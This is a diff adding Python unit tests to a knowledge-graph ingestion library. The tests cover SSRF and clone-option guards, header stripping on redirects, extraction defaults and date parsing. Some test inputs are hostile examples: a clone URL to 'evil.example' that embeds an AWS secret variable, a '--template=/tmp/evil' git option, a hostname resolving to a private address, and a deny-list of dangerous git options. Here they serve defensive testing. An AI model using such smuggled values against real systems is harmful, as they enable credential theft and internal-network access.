+                "commit_filters": {},
+                "max_depth": 5,
+            }
+        )
+        assert filtered == {"depth": 1}
+
+    def test_rejects_multi_options(self):
+        with pytest.raises(ValidationError, match="not permitted"):
+            RepoIngestor._filter_clone_options(
+                {"multi_options": ["--template=/tmp/evil"]}
+            )
+
+    def test_rejects_upload_pack_and_template(self):
+        for key in ("upload_pack", "template", "config", "env"):
+            with pytest.raises(ValidationError, match="not permitted"):
+                RepoIngestor._filter_clone_options({key: "x"})
+
+    def test_allowlist_matches_documented_safe_set(self):
+        assert ALLOWED_CLONE_OPTIONS == {
+            "depth",
+            "branch",
+            "single_branch",
+            "no_tags",
+        }
+
+
+class TestIngestRepositoryGuards:
+    def test_unsafe_url_never_reaches_clone_from(self):
+        with patch("semantica.ingest.repo_ingestor.git.Repo") as MockRepo, patch(
+            "semantica.ingest.repo_ingestor.get_progress_tracker"
+        ) as mock_get_tracker:
+            mock_get_tracker.return_value = MagicMock()
+            ingestor = RepoIngestor()
+            with pytest.raises(ValidationError, match="environment variable"):
+                ingestor.ingest_repository(
+                    "https://evil.example/${AWS_SECRET_ACCESS_KEY}/r.git"
+                )
+            MockRepo.clone_from.assert_not_called()
+
+    def test_unsafe_clone_option_never_reaches_clone_from(self):
+        with patch("semantica.ingest.repo_ingestor.git.Repo") as MockRepo, patch(
+            "semantica.ingest.repo_ingestor.get_progress_tracker"
+        ) as mock_get_tracker, patch(
+            "semantica.ingest.repo_ingestor.socket.getaddrinfo",
+            return_value=_fake_addrinfo("140.82.112.3"),
+        ):
+            mock_get_tracker.return_value = MagicMock()
+            ingestor = RepoIngestor()
+            with pytest.raises(ValidationError, match="not permitted"):
+                ingestor.ingest_repository(
+                    "https://github.com/user/repo.git",
+                    multi_options=["--template=/tmp/evil"],
+                )
+            MockRepo.clone_from.assert_not_called()
+
+    def test_hostname_resolving_private_never_reaches_clone_from(self):
+        with patch("semantica.ingest.repo_ingestor.git.Repo") as MockRepo, patch(
+            "semantica.ingest.repo_ingestor.get_progress_tracker"
+        ) as mock_get_tracker, patch(
+            "semantica.ingest.repo_ingestor.socket.getaddrinfo",
+            return_value=_fake_addrinfo("192.168.1.50"),
+        ):
+            mock_get_tracker.return_value = MagicMock()
+            ingestor = RepoIngestor()
+            with pytest.raises(ValidationError, match="blocked"):
+                ingestor.ingest_repository(
+                    "https://ssrf.example/internal/repo.git"
+                )
+            MockRepo.clone_from.assert_not_called()
+
+    def test_safe_options_forwarded_to_clone_from(self):
+        with patch("semantica.ingest.repo_ingestor.git.Repo") as MockRepo, patch(
+            "semantica.ingest.repo_ingestor.tempfile.mkdtemp",
+            return_value="/tmp/fake-repo",
+        ), patch("semantica.ingest.repo_ingestor.shutil.rmtree"), patch(
+            "semantica.ingest.repo_ingestor.get_progress_tracker"
+        ) as mock_get_tracker, patch(
+            "semantica.ingest.repo_ingestor.socket.getaddrinfo",
+            return_value=_fake_addrinfo("140.82.112.3"),
+        ), patch.object(
+            RepoIngestor, "extract_code_files", return_value=[]
+        ), patch.object(
+            RepoIngestor, "get_repository_info", return_value={"url": "x"}
+        ), patch.object(RepoIngestor, "analyze_commits", return_value=[]):
+            mock_get_tracker.return_value = MagicMock()
+            mock_repo = MagicMock()
+            MockRepo.clone_from.return_value = mock_repo
+            MockRepo.return_value = mock_repo
+
+            ingestor = RepoIngestor()
+            with patch.object(
+                ingestor.analyzer, "analyze_structure", return_value={}
+            ), patch.object(
+                ingestor.analyzer, "calculate_metrics", return_value={}
+            ):
+                ingestor.ingest_repository(
+                    "https://github.com/user/repo.git",
+                    depth=1,
+                    branch="main",
+                    include_history=False,
+                )
+
+            kwargs = MockRepo.clone_from.call_args.kwargs
+            assert kwargs.get("depth") == 1
+            assert kwargs.get("branch") == "main"
+            assert "include_history" not in kwargs
+            assert "multi_options" not in kwargs
+
+    def test_scp_like_remote_normalized_before_clone(self):
+        with patch("semantica.ingest.repo_ingestor.git.Repo") as MockRepo, patch(
+            "semantica.ingest.repo_ingestor.tempfile.mkdtemp",
+            return_value="/tmp/fake-repo",
+        ), patch("semantica.ingest.repo_ingestor.shutil.rmtree"), patch(
+            "semantica.ingest.repo_ingestor.get_progress_tracker"
+        ) as mock_get_tracker, patch(
+            "semantica.ingest.repo_ingestor.socket.getaddrinfo",
+            return_value=_fake_addrinfo("140.82.112.3"),
+        ), patch.object(
+            RepoIngestor, "extract_code_files", return_value=[]
+        ), patch.object(
+            RepoIngestor, "get_repository_info", return_value={"url": "x"}
+        ), patch.object(RepoIngestor, "analyze_commits", return_value=[]):
+            mock_get_tracker.return_value = MagicMock()
+            mock_repo = MagicMock()
+            MockRepo.clone_from.return_value = mock_repo
+            MockRepo.return_value = mock_repo
+
+            ingestor = RepoIngestor()
+            with patch.object(
+                ingestor.analyzer, "analyze_structure", return_value={}
+            ), patch.object(
+                ingestor.analyzer, "calculate_metrics", return_value={}
+            ):
+                ingestor.ingest_repository("git@github.com:user/repo.git")
+
+            assert MockRepo.clone_from.call_args.args[0] == (
+                "ssh://git@github.com/user/repo.git"
+            )
+
+class TestIsReservedNAT64Regression:
+    """Regression tests for the is_reserved / NAT64 false-positive fix.
+
+    Python's ipaddress.is_reserved marks 64:ff9b::/96 (NAT64 Well-Known
+    Prefix, RFC 6052) as reserved=True, which caused github.com to be
+    falsely blocked on IPv6-only / dual-stack networks that use NAT64.
+    """
+
+    def test_nat64_prefix_not_blocked(self):
+        """64:ff9b::/96 addresses must not be blocked by _is_blocked_ip."""
+        import ipaddress
+
+        # Typical NAT64 translation of 140.82.112.3 (github.com)
+        addr = ipaddress.ip_address("64:ff9b::8c52:7003")
+        assert not RepoIngestor._is_blocked_ip(addr), (
+            "NAT64 WKP address should not be blocked; "
+            "it is a legitimate public IPv6 address on NAT64 networks."
+        )
+
+    def test_nat64_local_prefix_not_blocked(self):
+        """64:ff9b:1::/48 (RFC 8215 local NAT64) is private by Python 3.12
+        definition and IS correctly blocked — it's a locally-assigned range,
+        not globally routable.
+        """
+        import ipaddress
+
+        addr = ipaddress.ip_address("64:ff9b:1::1")
+        # is_private=True in Python 3.12 — legitimately blocked
+        assert RepoIngestor._is_blocked_ip(addr)
+
+    def test_private_ipv6_still_blocked(self):
+        """ULA (fc00::/7) must still be blocked."""
+        import ipaddress
+
+        assert RepoIngestor._is_blocked_ip(ipaddress.ip_address("fc00::1"))
+        assert RepoIngestor._is_blocked_ip(ipaddress.ip_address("fd12:3456::1"))
+
+    def test_ipv6_loopback_still_blocked(self):
+        import ipaddress
+
+        assert RepoIngestor._is_blocked_ip(ipaddress.ip_address("::1"))
+
+    def test_ipv6_link_local_still_blocked(self):
+        import ipaddress
+
+        assert RepoIngestor._is_blocked_ip(ipaddress.ip_address("fe80::1"))
+
+    def test_documentation_prefix_blocked(self):
+        """2001:db8::/32 is documentation-only and classified as
+        is_private=True in Python 3.12. It is correctly blocked.
+        """
+        import ipaddress
+
+        addr = ipaddress.ip_address("2001:db8::1")
+        assert RepoIngestor._is_blocked_ip(addr)
+
+    def test_public_ipv4_not_blocked(self):
+        import ipaddress
+
+        assert not RepoIngestor._is_blocked_ip(ipaddress.ip_address("140.82.112.3"))
+
+    def test_public_ipv6_not_blocked(self):
+        import ipaddress
+
+        assert not RepoIngestor._is_blocked_ip(
+            ipaddress.ip_address("2001:4860:4860::8888")
+        )
+
+    def test_host_resolving_to_nat64_address_is_allowed(self):
+        """A hostname that resolves to a NAT64 address (plus a public IPv4)
+        must not be blocked — this was the real-world failure mode.
+        """
+        # Simulate github.com on a NAT64 network
+        with patch(
+            "semantica.ingest.repo_ingestor.socket.getaddrinfo",
+            return_value=_fake_addrinfo("64:ff9b::8c52:7003", "140.82.112.3"),
+        ):
+            # Should not raise
+            RepoIngestor._validate_repo_url("https://github.com/user/repo.git")
+
+    def test_host_resolving_only_to_nat64_is_allowed(self):
+        """Even if the only resolved address is a NAT64 address, it is allowed
+        because it is a valid public address.
+        """
+        with patch(
+            "semantica.ingest.repo_ingestor.socket.getaddrinfo",
+            return_value=_fake_addrinfo("64:ff9b::8c52:7003"),
+        ):
+            RepoIngestor._validate_repo_url("https://github.com/user/repo.git")
+
+
+class TestLocalPathSupport:
+    """Regression tests for local repository path backward compatibility."""
+
+    def test_is_local_repo_path_absolute(self, tmp_path):
+        """Absolute paths are recognised as local."""
+        assert RepoIngestor._is_local_repo_path(str(tmp_path))
+
+    def test_is_local_repo_path_relative(self):
+        """./… and ../… are recognised as local."""
+        assert RepoIngestor._is_local_repo_path("./repo")
+        assert RepoIngestor._is_local_repo_path("../sibling-repo")
+
+    def test_is_local_repo_path_not_remote(self):
+        """Remote URLs are not local."""
+        assert not RepoIngestor._is_local_repo_path("https://github.com/u/r.git")
+        assert not RepoIngestor._is_local_repo_path("git@github.com:u/r.git")
+        assert not RepoIngestor._is_local_repo_path("ssh://git@github.com/r.git")
+
+    def test_validate_repo_url_accepts_absolute_local_path(self, tmp_path):
+        """_validate_repo_url must not raise for an absolute local path."""
+        RepoIngestor._validate_repo_url(str(tmp_path))
+
+    def test_validate_repo_url_accepts_relative_local_path(self):
+        """_validate_repo_url must not raise for ./… paths."""
+        RepoIngestor._validate_repo_url("./repo")
+
+    def test_validate_repo_url_env_var_still_blocked_in_local_path(self):
+        """Env-var tokens in local paths are still rejected."""
+        with pytest.raises(ValidationError, match="environment variable"):
+            RepoIngestor._validate_repo_url("./$SECRET_KEY/repo")
+
+    def test_local_path_never_reaches_dns_resolution(self, tmp_path):
+        """Local paths must not trigger DNS lookups."""
+        with patch(
+            "semantica.ingest.repo_ingestor.socket.getaddrinfo"
+        ) as mock_gai:
+            RepoIngestor._validate_repo_url(str(tmp_path))
+        mock_gai.assert_not_called()
+
+    def test_ingest_repository_local_path_passes_validation(self, tmp_path):
+        """ingest_repository with a local path must not fail at URL validation."""
+        with patch("semantica.ingest.repo_ingestor.git.Repo") as MockRepo, patch(
+            "semantica.ingest.repo_ingestor.get_progress_tracker"
+        ) as mock_get_tracker:
+            mock_get_tracker.return_value = MagicMock()
+            ingestor = RepoIngestor()
+            # Expect clone to fail (temp_dir logic), but NOT a ValidationError
+            try:
+                ingestor.ingest_repository(str(tmp_path))
+            except Exception as exc:
+                assert not isinstance(exc, ValidationError), (
+                    f"Local path must not raise ValidationError; got: {exc}"
+                )
+
+
+class TestRepoHostResolveCacheThreadSafety:
+    """Regression test: _REPO_HOST_RESOLVE_CACHE must survive concurrent use.
+
+    _REPO_HOST_RESOLVE_CACHE is a module-level OrderedDict shared across every
+    RepoIngestor instance and thread. Before the fix, _resolve_repo_host_ips
+    and _prune_repo_host_resolve_cache read, wrote, and iterated the dict with
+    no lock. Under concurrent host validation (e.g. multiple
+    ingest_repository() calls running in a thread pool), one thread's
+    insert/evict during another thread's iteration reliably raised
+    RuntimeError: OrderedDict mutated during iteration.
+    """
+
+    def test_concurrent_resolve_repo_host_ips_does_not_raise(self):
+        def fake_getaddrinfo(host, *args, **kwargs):
+            return [(socket.AF_INET, socket.SOCK_STREAM, 0, "", ("93.184.216.34", 0))]
+
+        orig_ttl = repo_ingestor_mod._REPO_HOST_RESOLVE_CACHE_TTL_SECONDS
+        orig_max = repo_ingestor_mod._REPO_HOST_RESOLVE_CACHE_MAX_ENTRIES
+        # Small TTL/cap so eviction and pruning happen on nearly every call,
+        # keeping the dict under constant mutation without needing an
+        # unreasonably large iteration count.
+        repo_ingestor_mod._REPO_HOST_RESOLVE_CACHE_TTL_SECONDS = 0.001
+        repo_ingestor_mod._REPO_HOST_RESOLVE_CACHE_MAX_ENTRIES = 8
+
+        errors = []
+        errors_lock = threading.Lock()
+
+        def worker(worker_id):
+            for i in range(500):
+                host = f"race-host-{worker_id}-{i}.example.com"
+                try:
+                    repo_ingestor_mod.RepoIngestor._resolve_repo_host_ips(host)
+                except Exception as exc:  # pragma: no cover - failure path
+                    with errors_lock:
+                        errors.append(exc)
+
+        try:
+            with patch(
+                "semantica.ingest.repo_ingestor.socket.getaddrinfo",
+                side_effect=fake_getaddrinfo,
+            ):
+                # daemon=True so a hung worker cannot also block the test
+                # process from exiting once it's reported below.
+                threads = [
+                    threading.Thread(target=worker, args=(n,), daemon=True)
+                    for n in range(32)
+                ]
+                for t in threads:
+                    t.start()
+                # Assert right after each join, not after the whole loop:
+                # join(timeout=30) alone does not fail the test if a thread
+                # hangs, and checking only once every thread has been
+                # joined means a mass hang costs up to 32*30s = 16 minutes
+                # before the test even reaches the check -- the exact
+                # CI-reliability problem this guards against. Failing on
+                # the first hung thread caps the worst case at ~30s.
+                for t in threads:
+                    t.join(timeout=30)
+                    assert not t.is_alive(), (
+                        f"worker thread {t.name} did not finish within "
+                        f"the 30s join timeout (still running)"
+                    )
+        finally:
+            repo_ingestor_mod._REPO_HOST_RESOLVE_CACHE_TTL_SECONDS = orig_ttl
+            repo_ingestor_mod._REPO_HOST_RESOLVE_CACHE_MAX_ENTRIES = orig_max
+
+        assert not errors, (
+            f"Concurrent host resolution raised {len(errors)} error(s); "
+            f"first: {errors[0]!r}"
+        )

tests/ingest/test_ssrf_protection.py

@@ -182,6 +182,128 @@ class TestRequestWithSsrfGuardRedirects:
                     session=session,
                 )
 
+    def test_strips_authorization_on_cross_host_redirect(self):
+        """Sensitive headers must not leak to a different redirect host."""
+        redirect = MagicMock()
+        redirect.status_code = 302
+        redirect.headers = {"Location": "https://other-host.example/final"}
+        redirect.close = MagicMock()
+
+        final = MagicMock()
+        final.status_code = 200
+        final.headers = {}
+
+        session = MagicMock()
+        session.request.side_effect = [redirect, final]
+
+        with patch(
+            "semantica.ingest.ssrf.socket.getaddrinfo",
+            return_value=[(None, None, None, None, ("93.184.216.34", 0))],
+        ):
+            request_with_ssrf_guard(
+                "GET",
+                "https://example.com/start",
+                session=session,
+                headers={"Authorization": "Bearer secret-token"},
+            )
+
+        assert session.request.call_count == 2
+        second_call_headers = session.request.call_args_list[1].kwargs.get("headers", {})
+        assert "Authorization" not in second_call_headers
+        # The first hop still had the credential
+        first_call_headers = session.request.call_args_list[0].kwargs.get("headers", {})
+        assert first_call_headers.get("Authorization") == "Bearer secret-token"
+
+    def test_keeps_authorization_on_same_host_redirect(self):
+        """Same-host redirects keep the credential (requests semantics)."""
+        redirect = MagicMock()
+        redirect.status_code = 302
+        redirect.headers = {"Location": "https://example.com/final"}
+        redirect.close = MagicMock()
+
+        final = MagicMock()
+        final.status_code = 200
+        final.headers = {}
+
+        session = MagicMock()
+        session.request.side_effect = [redirect, final]
+
+        with patch(
+            "semantica.ingest.ssrf.socket.getaddrinfo",
+            return_value=[(None, None, None, None, ("93.184.216.34", 0))],
+        ):
+            request_with_ssrf_guard(
+                "GET",
+                "https://example.com/start",
+                session=session,
+                headers={"Authorization": "Bearer secret-token"},
+            )
+
+        assert session.request.call_count == 2
+        second_call_headers = session.request.call_args_list[1].kwargs.get("headers", {})
+        assert second_call_headers.get("Authorization") == "Bearer secret-token"
+
+    def test_strips_authorization_on_scheme_downgrade(self):
+        """Credentials must not follow an https -> http downgrade on the same host."""
+        redirect = MagicMock()
+        redirect.status_code = 302
+        redirect.headers = {"Location": "http://example.com/final"}
+        redirect.close = MagicMock()
+
+        final = MagicMock()
+        final.status_code = 200
+        final.headers = {}
+
+        session = MagicMock()
+        session.request.side_effect = [redirect, final]
+
+        with patch(
+            "semantica.ingest.ssrf.socket.getaddrinfo",
+            return_value=[(None, None, None, None, ("93.184.216.34", 0))],
+        ):
+            request_with_ssrf_guard(
+                "GET",
+                "https://example.com/start",
+                session=session,
+                headers={"Authorization": "Bearer secret-token"},
+            )
+
+        assert session.request.call_count == 2
+        second_call_headers = session.request.call_args_list[1].kwargs.get("headers", {})
+        assert "Authorization" not in second_call_headers
+        # The first hop still had the credential
+        first_call_headers = session.request.call_args_list[0].kwargs.get("headers", {})
+        assert first_call_headers.get("Authorization") == "Bearer secret-token"
+
+    def test_keeps_authorization_on_scheme_upgrade(self):
+        """Credentials survive an http -> https upgrade on default ports (requests semantics)."""
+        redirect = MagicMock()
+        redirect.status_code = 302
+        redirect.headers = {"Location": "https://example.com/final"}
+        redirect.close = MagicMock()
+
+        final = MagicMock()
+        final.status_code = 200
+        final.headers = {}
+
+        session = MagicMock()
+        session.request.side_effect = [redirect, final]
+
+        with patch(
+            "semantica.ingest.ssrf.socket.getaddrinfo",
+            return_value=[(None, None, None, None, ("93.184.216.34", 0))],
+        ):
+            request_with_ssrf_guard(
+                "GET",
+                "http://example.com/start",
+                session=session,
+                headers={"Authorization": "Bearer secret-token"},
+            )
+
+        assert session.request.call_count == 2
+        second_call_headers = session.request.call_args_list[1].kwargs.get("headers", {})
+        assert second_call_headers.get("Authorization") == "Bearer secret-token"
+
     def test_follows_safe_redirect(self):
         redirect = MagicMock()
         redirect.status_code = 302

tests/kg/test_graph_builder_external.py

@@ -123,6 +123,96 @@ class TestGraphBuilderExternal(unittest.TestCase):
         self.assertIn(("2", "3"), ids)
         self.assertIn(("3", "4"), ids)
 
+    def test_relationship_endpoints_are_remapped_after_entity_resolution(self):
+        builder = GraphBuilder(merge_entities=False, resolve_conflicts=False)
+        resolver = MagicMock()
+        resolver.resolve_entities.return_value = [
+            {
+                "id": "alice:1",
+                "name": "Alice Chen",
+                "type": "Person",
+                "merged_from": ["alice:1", "alice:2"],
+            },
+            {"id": "org:1", "name": "Zyx Qqqq", "type": "Organization"},
+        ]
+
+        graph = builder.build(
+            {
+                "entities": [
+                    {"id": "alice:1", "name": "Alice Chen", "type": "Person"},
+                    {"id": "alice:2", "name": "Alice Chen", "type": "Person"},
+                    {"id": "org:1", "name": "Zyx Qqqq", "type": "Organization"},
+                ],
+                "relationships": [
+                    {
+                        "source": "alice:2",
+                        "target": "org:1",
+                        "type": "WORKS_FOR",
+                    }
+                ],
+            },
+            entity_resolver=resolver,
+        )
+
+        self.assertEqual(
+            graph["relationships"],
+            [{"source": "alice:1", "target": "org:1", "type": "WORKS_FOR"}],
+        )
+        entity_ids = {entity["id"] for entity in graph["entities"]}
+        for relationship in graph["relationships"]:
+            self.assertIn(relationship["source"], entity_ids)
+            self.assertIn(relationship["target"], entity_ids)
+
+    def test_unhashable_entity_ids_do_not_crash_remapping(self):
+        builder = GraphBuilder(merge_entities=False, resolve_conflicts=False)
+        resolver = MagicMock()
+        resolver.resolve_entities.return_value = [
+            {
+                "id": ["invalid-canonical-id"],
+                "name": "Invalid ID",
+                "type": "Person",
+                "merged_from": ["invalid-canonical-id"],
+            },
+            {
+                "id": "alice:1",
+                "name": "Alice Chen",
+                "type": "Person",
+                "merged_from": [["invalid-source-id"]],
+            },
+        ]
+
+        graph = builder.build(
+            {
+                "entities": [{"id": "alice:1", "name": "Alice Chen", "type": "Person"}],
+                "relationships": [],
+            },
+            entity_resolver=resolver,
+        )
+
+        self.assertEqual(len(graph["entities"]), 2)
+
+    def test_relationship_remapping_skips_unmerged_entities(self):
+        builder = GraphBuilder(merge_entities=False, resolve_conflicts=False)
+        resolver = MagicMock()
+        resolver.resolve_entities.return_value = [
+            {"id": "alice:1", "name": "Alice Chen", "type": "Person"},
+            {"id": "org:1", "name": "Zyx Qqqq", "type": "Organization"},
+        ]
+
+        with patch.object(builder, "_remap_relationship_endpoints") as remap:
+            builder.build(
+                {
+                    "entities": [
+                        {"id": "alice:1", "name": "Alice Chen", "type": "Person"},
+                        {"id": "org:1", "name": "Zyx Qqqq", "type": "Organization"},
+                    ],
+                    "relationships": [],
+                },
+                entity_resolver=resolver,
+            )
+
+        remap.assert_not_called()
+
     def test_warning_when_all_relationships_dropped(self):
         builder = GraphBuilder(merge_entities=False, resolve_conflicts=False)
 

tests/kg/test_graph_builder_extraction_defaults.py

@@ -0,0 +1,262 @@
+"""Pins GraphBuilder's raw-text extraction defaults to the documented values.
+
+Regression guard for #930: `_extract_from_text` defaulted to LLM extraction for
+all three methods and ran relation extraction unconditionally, both of which
+contradicted the `build()` docstring and silently required a provider and API
+key for any raw-text build.
+"""
+
+import unittest
+from unittest.mock import patch
+
+from semantica.kg.graph_builder import GraphBuilder
+
+
+class TestGraphBuilderExtractionDefaults(unittest.TestCase):
+
+    def setUp(self):
+        self.ner_patcher = patch(
+            "semantica.semantic_extract.ner_extractor.NERExtractor"
+        )
+        self.rel_patcher = patch(
+            "semantica.semantic_extract.relation_extractor.RelationExtractor"
+        )
+        self.trip_patcher = patch(
+            "semantica.semantic_extract.triplet_extractor.TripletExtractor"
+        )
+        self.NER = self.ner_patcher.start()
+        self.Rel = self.rel_patcher.start()
+        self.Trip = self.trip_patcher.start()
+        self.addCleanup(self.ner_patcher.stop)
+        self.addCleanup(self.rel_patcher.stop)
+        self.addCleanup(self.trip_patcher.stop)
+
+        self.NER.return_value.extract_entities.return_value = []
+        self.Rel.return_value.extract_relations.return_value = []
+        self.Trip.return_value.extract_triplets.return_value = []
+
+        self.builder = GraphBuilder(merge_entities=False, resolve_conflicts=False)
+
+    def _extract(self, **options):
+        self.builder._extract_from_text(
+            "Apple Inc. was founded in 1976.", [], [], **options
+        )
+
+    def test_ner_method_defaults_to_ml(self):
+        self._extract()
+        self.assertEqual(self.NER.call_args.kwargs["method"], "ml")
+
+    def test_triplet_method_defaults_to_pattern(self):
+        self._extract()
+        self.assertEqual(self.Trip.call_args.kwargs["method"], "pattern")
+
+    def test_relation_extraction_is_off_by_default(self):
+        self._extract()
+        self.Rel.assert_not_called()
+
+    def test_relation_method_defaults_to_pattern_when_enabled(self):
+        self._extract(extract_relations=True)
+        self.assertEqual(self.Rel.call_args.kwargs["method"], "pattern")
+
+    def test_no_extractor_defaults_to_llm(self):
+        """No raw-text default may require a provider or API key."""
+        self._extract(extract_relations=True)
+        extractors = (
+            ("ner", self.NER),
+            ("relation", self.Rel),
+            ("triplet", self.Trip),
+        )
+        for name, mock_cls in extractors:
+            with self.subTest(extractor=name):
+                self.assertNotEqual(mock_cls.call_args.kwargs["method"], "llm")
+
+    def test_llm_extraction_is_still_available_explicitly(self):
+        self._extract(
+            ner_method="llm",
+            relation_method="llm",
+            triplet_method="llm",
+            extract_relations=True,
+        )
+        self.assertEqual(self.NER.call_args.kwargs["method"], "llm")
+        self.assertEqual(self.Rel.call_args.kwargs["method"], "llm")
+        self.assertEqual(self.Trip.call_args.kwargs["method"], "llm")
+
+
+class TestGraphBuilderExtractorReuse(unittest.TestCase):
+    """Extractors must be built once per method, not once per text.
+
+    `NERExtractor.__init__` loads its spaCy model eagerly, so with the `"ml"`
+    default a per-text construction would reload the model for every source in
+    a multi-document build.
+    """
+
+    def setUp(self):
+        self.ner_patcher = patch(
+            "semantica.semantic_extract.ner_extractor.NERExtractor"
+        )
+        self.NER = self.ner_patcher.start()
+        self.addCleanup(self.ner_patcher.stop)
+        self.NER.return_value.extract_entities.return_value = []
+
+        self.builder = GraphBuilder(merge_entities=False, resolve_conflicts=False)
+
+    def test_ner_extractor_built_once_across_texts(self):
+        for i in range(5):
+            self.builder._extract_from_text(f"Document {i}.", [], [])
+        self.assertEqual(self.NER.call_count, 1)
+
+    def test_distinct_methods_get_distinct_extractors(self):
+        self.builder._extract_from_text("a", [], [])
+        self.builder._extract_from_text("b", [], [], ner_method="pattern")
+        self.builder._extract_from_text("c", [], [])
+        self.assertEqual(self.NER.call_count, 2)
+
+
+class TestGraphBuilderForwardsRelationsToTriplets(unittest.TestCase):
+    """Relations extracted with relation_method must reach triplet extraction.
+
+    `TripletExtractor` re-derives relations itself when `relations is None`,
+    using a method derived from `triplet_method` — so not forwarding them both
+    duplicates work and can produce triplets inconsistent with the relations
+    already extracted.
+    """
+
+    def setUp(self):
+        self.ner_patcher = patch(
+            "semantica.semantic_extract.ner_extractor.NERExtractor"
+        )
+        self.rel_patcher = patch(
+            "semantica.semantic_extract.relation_extractor.RelationExtractor"
+        )
+        self.trip_patcher = patch(
+            "semantica.semantic_extract.triplet_extractor.TripletExtractor"
+        )
+        self.NER = self.ner_patcher.start()
+        self.Rel = self.rel_patcher.start()
+        self.Trip = self.trip_patcher.start()
+        self.addCleanup(self.ner_patcher.stop)
+        self.addCleanup(self.rel_patcher.stop)
+        self.addCleanup(self.trip_patcher.stop)
+
+        self.NER.return_value.extract_entities.return_value = []
+        self.Trip.return_value.extract_triplets.return_value = []
+
+        self.builder = GraphBuilder(merge_entities=False, resolve_conflicts=False)
+
+    def _triplet_kwargs(self):
+        return self.Trip.return_value.extract_triplets.call_args.kwargs
+
+    def test_extracted_relations_are_forwarded(self):
+        sentinel = [object()]
+        self.Rel.return_value.extract_relations.return_value = sentinel
+
+        self.builder._extract_from_text("x", [], [], extract_relations=True)
+
+        self.assertIs(self._triplet_kwargs()["relations"], sentinel)
+
+    def test_relations_is_none_when_extraction_disabled(self):
+        """Default path keeps TripletExtractor's own relation derivation."""
+        self.builder._extract_from_text("x", [], [])
+
+        self.assertIsNone(self._triplet_kwargs()["relations"])
+        self.Rel.assert_not_called()
+
+    def test_relations_is_none_when_extraction_fails(self):
+        self.Rel.return_value.extract_relations.side_effect = RuntimeError("boom")
+
+        self.builder._extract_from_text("x", [], [], extract_relations=True)
+
+        self.assertIsNone(self._triplet_kwargs()["relations"])
+
+
+class TestGraphBuilderFallbackMethodLists(unittest.TestCase):
+    """All three extractors accept a list of methods for fallback ordering.
+
+    The extractor cache must key on something hashable, or passing a list
+    raises `TypeError: unhashable type: 'list'` before extraction even starts.
+    """
+
+    def setUp(self):
+        self.ner_patcher = patch(
+            "semantica.semantic_extract.ner_extractor.NERExtractor"
+        )
+        self.rel_patcher = patch(
+            "semantica.semantic_extract.relation_extractor.RelationExtractor"
+        )
+        self.trip_patcher = patch(
+            "semantica.semantic_extract.triplet_extractor.TripletExtractor"
+        )
+        self.NER = self.ner_patcher.start()
+        self.Rel = self.rel_patcher.start()
+        self.Trip = self.trip_patcher.start()
+        self.addCleanup(self.ner_patcher.stop)
+        self.addCleanup(self.rel_patcher.stop)
+        self.addCleanup(self.trip_patcher.stop)
+
+        self.NER.return_value.extract_entities.return_value = []
+        self.Rel.return_value.extract_relations.return_value = []
+        self.Trip.return_value.extract_triplets.return_value = []
+
+        self.builder = GraphBuilder(merge_entities=False, resolve_conflicts=False)
+
+    def test_list_method_does_not_raise(self):
+        self.builder._extract_from_text(
+            "x", [], [], ner_method=["pattern", "ml"], extract_triplets=False
+        )
+        self.assertEqual(self.NER.call_args.kwargs["method"], ["pattern", "ml"])
+
+    def test_list_methods_accepted_for_every_extractor(self):
+        self.builder._extract_from_text(
+            "x",
+            [],
+            [],
+            ner_method=["pattern", "ml"],
+            relation_method=["pattern", "cooccurrence"],
+            triplet_method=["pattern", "rules"],
+            extract_relations=True,
+        )
+        self.assertEqual(self.NER.call_args.kwargs["method"], ["pattern", "ml"])
+        self.assertEqual(
+            self.Rel.call_args.kwargs["method"], ["pattern", "cooccurrence"]
+        )
+        self.assertEqual(self.Trip.call_args.kwargs["method"], ["pattern", "rules"])
+
+    def test_equal_lists_reuse_one_extractor(self):
+        for _ in range(3):
+            self.builder._extract_from_text(
+                "x", [], [], ner_method=["pattern", "ml"], extract_triplets=False
+            )
+        self.assertEqual(self.NER.call_count, 1)
+
+    def test_different_lists_get_different_extractors(self):
+        self.builder._extract_from_text(
+            "x", [], [], ner_method=["pattern", "ml"], extract_triplets=False
+        )
+        self.builder._extract_from_text(
+            "x", [], [], ner_method=["ml", "pattern"], extract_triplets=False
+        )
+        self.assertEqual(self.NER.call_count, 2)
+
+
+class TestGraphBuilderDefaultsRunOffline(unittest.TestCase):
+    """The default raw-text path must work with no provider and no network."""
+
+    def test_default_build_needs_no_provider(self):
+        builder = GraphBuilder(merge_entities=False, resolve_conflicts=False)
+        entities, relationships = [], []
+
+        # No mocks: this runs the real ml/pattern extractors end to end. If any
+        # default resolved to "llm", this would attempt a provider call.
+        with patch("semantica.semantic_extract.providers.create_provider") as provider:
+            builder._extract_from_text(
+                "Apple Inc. was founded by Steve Jobs in 1976.",
+                entities,
+                relationships,
+            )
+
+        provider.assert_not_called()
+        self.assertIsInstance(entities, list)
+
+
+if __name__ == "__main__":
+    unittest.main()

tests/normalize/test_date_normalizer.py

@@ -1,12 +1,14 @@
 import unittest
-from datetime import datetime, date, timedelta, timezone
+from datetime import datetime, timedelta, timezone
+from unittest.mock import patch
+
 from semantica.normalize.date_normalizer import (
     DateNormalizer,
-    TimeZoneNormalizer,
     RelativeDateProcessor,
-    TemporalExpressionParser
+    TimeZoneNormalizer,
 )
 
+
 class TestDateNormalizer(unittest.TestCase):
     def setUp(self):
         self.normalizer = DateNormalizer()
@@ -14,39 +16,42 @@ class TestDateNormalizer(unittest.TestCase):
     def test_normalize_date_iso(self):
         # Test ISO8601 parsing
         self.assertEqual(
-            self.normalizer.normalize_date("2023-01-01", format="date"),
-            "2023-01-01"
+            self.normalizer.normalize_date("2023-01-01", format="date"), "2023-01-01"
         )
         self.assertEqual(
             self.normalizer.normalize_date("2023-01-01T12:00:00", format="ISO8601"),
-            "2023-01-01T12:00:00+00:00"
+            "2023-01-01T12:00:00+00:00",
         )
 
     def test_normalize_date_relative(self):
-        # Test relative date parsing (e.g., "today", "yesterday")
-        # Note: These depend on current date, so we might need to mock datetime if strictly testing logic,
-        # but for now we'll assume the relative processor uses current time.
-        # We can check if it returns a valid ISO date string.
-        today = datetime.now(timezone.utc).date().isoformat()
-        self.assertEqual(
-            self.normalizer.normalize_date("today", format="date"),
-            today
-        )
+        class FixedDateTime(datetime):
+            @classmethod
+            def now(cls, tz=None):
+                fixed = cls(2024, 1, 2, 0, 30)
+                return fixed if tz is None else fixed.replace(tzinfo=tz)
+
+        with patch("semantica.normalize.date_normalizer.datetime", FixedDateTime):
+            self.assertEqual(
+                self.normalizer.normalize_date("today", format="date"),
+                "2024-01-02",
+            )
 
     def test_normalize_timezone(self):
         # Test timezone conversion
